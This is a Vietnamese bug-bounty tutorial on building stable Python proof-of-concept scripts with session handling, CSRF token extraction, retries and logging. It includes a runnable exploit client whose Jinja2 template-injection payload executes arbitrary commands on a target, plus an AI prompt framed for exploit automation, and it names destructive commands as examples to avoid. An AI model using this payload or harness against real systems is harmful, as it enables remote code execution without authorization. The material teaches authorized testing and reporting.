White-Box Auditing & Săn Bug Thực Chiến
~13 phútExploit Chaining & Báo cáo Chuyên nghiệpMiễn phí

Viết Script PoC Tự Động Hóa: Ổn định và Độc lập

Quy chuẩn phát triển mã khai thác bằng Python: Sử dụng requests.Session, xử lý CSRF token động, bóc tách JSON và logging chuyên nghiệp.

TL;DR: Một báo cáo bảo mật chỉ thực sự có trọng lượng khi đi kèm một script Proof-of-Concept (PoC) hoạt động ổn định và có thể tái hiện chỉ bằng một lệnh chạy. Bài học này chia sẻ bộ khung (Boilerplate) viết script kiểm thử tự động bằng Python: cách quản lý phiên với requests.Session(), tự động bóc tách và nạp CSRF token / nonce từ HTML, xử lý cookie đa miền, và cấu hình cờ timeout/retry an toàn để không làm nghẽn máy chủ mục tiêu.

1. Tiêu chuẩn của một script PoC chuyên nghiệp là gì?

Khi bạn gửi một báo cáo bảo mật lên HackerOne, Bugcrowd hoặc gửi cho khách hàng trong một đợt Pentest, người đọc báo cáo là các kỹ sư bảo mật (Triagers / Security Engineers). Họ phải xử lý hàng chục báo cáo mỗi ngày.

Nếu script của bạn:

  • Phụ thuộc vào cookie hardcode (hết hạn sau 15 phút).
  • Bắt người kiểm tra phải mở DevTools copy CSRF token thủ công rồi dán vào code.
  • Chạy lúc được lúc không do không xử lý timeout hoặc độ trễ mạng.

Báo cáo của bạn sẽ bị gán trạng thái "Needs More Info" hoặc tệ hơn là "Informative / Cannot Reproduce".

Một script PoC đạt chuẩn công nghiệp phải thỏa mãn 4 tiêu chí cốt lõi:

  1. One-Command Execution: Chỉ cần chạy python3 poc.py --target https://example.com là tự động chạy từ đầu tới cuối.
  2. Dynamic State Management: Tự động đăng nhập bằng tài khoản test, tự bóc tách CSRF token từ response HTML và gắn vào header của request kế tiếp.
  3. Graceful Error Handling: In rõ lỗi ở bước nào (ví dụ: "Bước 1 đăng nhập thất bại: sai thông tin xác thực") thay vì quăng Exception đỏ lòm của Python.
  4. Non-destructive & Verifiable: Không xóa dữ liệu thật, không tạo vòng lặp vô hạn. Nếu khai thác RCE, chỉ thực thi lệnh đọc lành tính như id hoặc whoami.

2. Thiết kế Boilerplate Python: requests.Session và trích xuất token động

Kiến trúc Script PoC Tự Động Hóa

Dưới đây là cấu trúc mẫu (Boilerplate) được khuyến nghị cho mọi script PoC khai thác API/Web:

Python
import argparse
import logging
import re
import sys
from bs4 import BeautifulSoup
import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

# Configure structured logging
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    handlers=[logging.StreamHandler(sys.stdout)]
)
logger = logging.getLogger("PoC")

class ExploitClient:
    def __init__(self, target_url, timeout=10):
        self.target = target_url.rstrip("/")
        self.timeout = timeout
        self.session = requests.Session()

        # Configure automatic retry for flaky networks
        retries = Retry(
            total=3,
            backoff_factor=0.5,
            status_forcelist=[502, 503, 504]
        )
        self.session.mount("https://", HTTPAdapter(max_retries=retries))
        self.session.mount("http://", HTTPAdapter(max_retries=retries))

    def step1_login_and_extract_csrf(self, username, password):
        logger.info("Pha 1: Lay CSRF token va dang nhap...")
        login_page_url = f"{self.target}/login"
        
        try:
            r = self.session.get(login_page_url, timeout=self.timeout)
            r.raise_for_status()
        except requests.RequestException as e:
            logger.error("Khong the truy cap trang dang nhap: %s", e)
            return False

        # Extract CSRF token from HTML form using BeautifulSoup
        soup = BeautifulSoup(r.text, "html.parser")
        csrf_input = soup.find("input", {"name": "csrf_token"})
        if not csrf_input or not csrf_input.get("value"):
            logger.error("Khong tim thay csrf_token trong HTML form!")
            return False

        csrf_token = csrf_input["value"]
        logger.info("Tim thay CSRF token: %s", csrf_token[:8] + "...")

        # Perform login POST request
        login_payload = {
            "username": username,
            "password": password,
            "csrf_token": csrf_token
        }
        res = self.session.post(f"{self.target}/api/login", json=login_payload, timeout=self.timeout)
        if res.status_code == 200 and res.json().get("authenticated"):
            logger.info("Dang nhap thanh cong, cookie session da duoc luu tru.")
            return True

        logger.error("Dang nhap that bai voi ma HTTP: %d", res.status_code)
        return False

    def step2_trigger_exploit(self, payload_cmd):
        logger.info("Pha 2: Gui payload khai thac...")
        exploit_url = f"{self.target}/api/admin/template-preview"
        
        # Inject payload into vulnerable parameter
        data = {
            "template": f"{{{{ cycler.__init__.__globals__.os.popen('{payload_cmd}').read() }}}}"
        }
        try:
            res = self.session.post(exploit_url, json=data, timeout=self.timeout)
            if res.status_code == 200:
                logger.info("Khai thac thanh cong! Ket qua tra ve tu may chu:")
                print("=" * 40)
                print(res.text.strip())
                print("=" * 40)
                return True
            logger.warning("Server tra ve ma loi: %d", res.status_code)
        except requests.RequestException as e:
            logger.error("Loi ket noi khi gui payload: %s", e)
        return False

3. Quản lý ngoại lệ, Timeout và Logging từng pha tấn công

Tại sao requests.Session() lại quan trọng vượt bậc?

  • Tự động bám Cookie: Mọi cookie mà server gửi về qua Header Set-Cookie (như session_id, remember_me) đều được Session lưu trữ và gửi tự động trong các request tiếp theo. Bạn không cần phải parse chuỗi cookie thủ công.
  • Connection Pooling: Session tái sử dụng các kết nối socket TCP đã mở sẵn (TCP Keep-Alive), giúp giảm thời gian chạy script từ vài chục giây xuống còn vài giây.
Thử đoán trước

Tại sao trong script PoC, bạn luôn nên đặt tham số timeout=10 rõ ràng trong mọi hàm gọi request? Mặc định trong thư viện requests của Python, nếu không đặt timeout, kết nối sẽ chờ vô hạn (hang indefinitely) nếu máy chủ mục tiêu bị treo hoặc drop gói tin mà không phản hồi. Điều này khiến script của người kiểm tra bị đóng băng mà không hiểu lý do.

Hàm main() tiếp nhận tham số dòng lệnh qua argparse:

Python
def main():
    parser = argparse.ArgumentParser(description="Automated PoC Script for Lab Target")
    parser.add_argument("--url", required=True, help="Target URL (e.g. http://localhost:8000)")
    parser.add_argument("--user", default="testuser", help="Testing username")
    parser.add_argument("--pwd", default="testpass", help="Testing password")
    parser.add_argument("--cmd", default="id", help="Command to execute for proof")
    args = parser.parse_args()

    client = ExploitClient(args.url)
    if client.step1_login_and_extract_csrf(args.user, args.pwd):
        client.step2_trigger_exploit(args.cmd)
    else:
        logger.error("Dung script do khau xac thuc that bai.")

if __name__ == "__main__":
    main()

4. AI Copilot Slot: Prompt chuyển đổi cURL / Burp Request sang script PoC Python tự động

Khi bạn đã tái hiện được lỗi thủ công trên Burp Suite (Tab Repeater), việc chuyển đổi từng request sang mã Python có thể tốn 15-20 phút. Hãy dùng prompt sau để AI thực hiện công việc cơ học này:

AI Copilot Prompt Slot
Role:Exploit Automation Engineer
Task:Chuyển đổi HTTP Request thô từ Burp Suite sang script Python requests hoàn chỉnh kèm bóc tách token
Context:Hai request HTTP: Request 1 lấy HTML form chứa CSRF token, Request 2 POST JSON payload khai thác
Output:Script Python sử dụng requests.Session, BeautifulSoup và argparse chuẩn mực
Tôi có 2 request HTTP thô trích xuất từ Burp Suite Repeater sau:

--- Request 1 (GET /profile/edit) ---
GET /profile/edit HTTP/1.1
Host: target.internal
Cookie: session=ey...

--- Request 2 (POST /api/v1/update) ---
POST /api/v1/update HTTP/1.1
Host: target.internal
Content-Type: application/json
X-CSRF-Token: <dynamic_token>

{"email": "[email protected]"}

Hãy viết script Python hoàn chỉnh:
1. Dùng requests.Session() quản lý phiên.
2. Gửi Request 1, dùng BeautifulSoup hoặc Regex bóc tách token từ <meta name="csrf-token" content="...">.
3. Gán token vào Header X-CSRF-Token và gửi Request 2.
4. Cấu hình logging rõ ràng, xử lý timeout=10 và bắt ngoại lệ mạng.

5. Quy tắc ứng xử và an toàn dữ liệu khi chạy PoC

  • Không bao giờ dùng payload phá hoại: Tuyệt đối không dùng các lệnh như rm -rf, DROP TABLE, sửa mật khẩu admin của người khác, hoặc gửi email spam số lượng lớn.
  • Chứng minh quyền tối thiểu cần thiết: Để chứng minh RCE, lệnh id, whoami, hoặc đọc file tĩnh lành tính như /etc/hostname là hoàn toàn đủ thuyết phục. Để chứng minh SQLi, đọc SELECT VERSION() hoặc đếm số lượng dòng là đủ để nhận bounty.
  • Ghi lại Timestamp và IP kiểm thử: Đưa thông tin IP nguồn của bạn và mốc thời gian chạy script vào phần mô tả báo cáo để đội ngũ SOC của khách hàng có thể đối chiếu log dễ dàng.

6. Liên hệ các bài khác

Tự kiểm tra
0/5 câu đã trả lời
  1. Q1
    Tại sao nên dùng requests.Session() thay vì các hàm gọi requests.get/post đơn lẻ trong script PoC?
  2. Q2
    Tiêu chuẩn One-Command Execution trong script PoC có ý nghĩa gì?
  3. Q3
    Nếu không cấu hình tham số timeout trong thư viện requests, điều gì có thể xảy ra?
  4. Q4
    Tại sao trong báo cáo kiểm thử RCE chỉ nên chạy các lệnh như id hoặc whoami thay vì tạo tài khoản root mới?
  5. Q5
    Thư viện nào trong Python thường được dùng kèm với requests để bóc tách CSRF token từ trang HTML dễ dàng nhất?

Bài này có giúp bạn hiểu bản chất không?

Bài này đáng gửi cho bạn học cùng?

Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.

Thảo luận & góp ý

Hỏi đáp về bài này

Bài tiếp theo

Viết Báo cáo Bug Bounty & Pentest: CVSS, Impact và Remediation